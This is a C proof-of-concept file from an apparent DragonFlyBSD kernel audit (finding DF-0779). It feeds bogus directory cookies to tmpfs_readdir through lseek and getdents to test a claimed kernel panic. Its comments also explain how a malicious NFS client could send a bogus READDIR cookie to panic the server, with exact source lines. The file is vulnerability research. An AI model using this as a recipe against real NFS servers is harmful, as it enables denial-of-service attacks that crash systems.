DragonFlyBSD Kernel Audit
DF-0779 / df0779_local.c
← back to finding ↓ download raw
/*
 * DF-0779 - tmpfs_readdir cookie-generation panic trigger.
 *
 * Two paths exercised:
 *
 *   PATH A (LOCAL getdents): open a tmpfs dir, lseek the dir fd to a
 *   BOGUS cookie value (attacker-controlled off_t), then getdents.
 *   - On a tmpfs dir this exercises tmpfs_readdir() with
 *     uio->uio_offset = <bogus>. We trace whether this reaches the
 *     cookie-generation block (tmpfs_vnops.c:1697, entered only when
 *     cookies != NULL).  Source analysis says a local getdents passes
 *     cookies==NULL (vfs_syscalls.c:4645), so the KKASSERT at :1719
 *     should NOT fire here -> we expect graceful return, NO panic.
 *
 *   PATH B (NFS-server): the only VOP_READDIR callers that pass
 *   non-NULL cookies are nfs_serv.c:3045/3337 (the NFS READDIR server),
 *   where io.uio_offset is taken directly from the NFS client's READDIR
 *   cookie (nfs_serv.c:3035).  A malicious/buggy NFS client sending a
 *   bogus cookie drives tmpfs_readdir's cookie loop, whose first
 *   iteration does tmpfs_dir_lookupbycookie(node, off, exact=1) ->
 *   returns NULL for a bogus cookie -> KKASSERT(de != NULL) at
 *   tmpfs_vnops.c:1719 -> kernel panic.  This is exercised separately
 *   via a raw NFSv3 READDIR RPC to a tmpfs dir exported over NFS
 *   (see run_nfs.sh).
 *
 * This program does PATH A.
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/* getdents syscall number on DragonFly (x86_64): 272 */
#ifndef SYS_getdents
#define SYS_getdents 272
#endif

static void try_cookie(const char *path, off_t cookie)
{
    int fd = open(path, O_RDONLY | O_DIRECTORY);
    if (fd < 0) {
        printf("[cookie=%#llx] open(%s) failed: %s\n",
               (long long)cookie, path, strerror(errno));
        return;
    }
    if (lseek(fd, cookie, SEEK_SET) < 0) {
        printf("[cookie=%#llx] lseek failed: %s\n",
               (long long)cookie, strerror(errno));
        close(fd);
        return;
    }
    char buf[8192];
    int n = syscall(SYS_getdents, fd, buf, sizeof(buf));
    int e = errno;
    int entcount = 0;
    if (n > 0) {
        off_t off = 0;
        while (off < n) {
            struct dirent *d = (struct dirent *)(buf + off);
            entcount++;
            off += _DIRENT_DIRSIZ(d);
        }
    }
    printf("[cookie=%#llx] getdents rc=%d errno=%d (%s) entries=%d\n",
           (long long)cookie, n, n < 0 ? e : 0,
           n < 0 ? strerror(e) : "ok", entcount);
    close(fd);
}

int main(int argc, char **argv)
{
    const char *dir = "/tmp";
    if (argc > 1) dir = argv[1];

    printf("DF-0779 PATH A: local getdents on tmpfs dir %s\n", dir);
    printf("Testing attacker-supplied bogus/huge/negative cookies via lseek+getdents.\n");
    printf("(If this panics, the local-unpriv DoS claim holds. Source says it should NOT.\n");
    printf("Surviving all of these => cookies block not reached locally.)\n\n");

    off_t cookies[] = {
        0xDEAD,                       /* small bogus */
        0x7FFFFFFFFFFFFFFFLL,         /* TMPFS_DIRCOOKIE_EOF */
        0x4141414141414141LL,         /* huge bogus */
        (off_t)-1,                    /* negative */
        (off_t)0x8000000000000000LL,  /* sign bit set */
        2,                            /* first real cookie slot, bogus if dir empty */
        0x0BADF00D,                   /* another bogus */
    };
    size_t i;
    for (i = 0; i < sizeof(cookies)/sizeof(cookies[0]); i++) {
        try_cookie(dir, cookies[i]);
    }
    printf("\nAll cookie probes returned without panic.\n");
    return 0;
}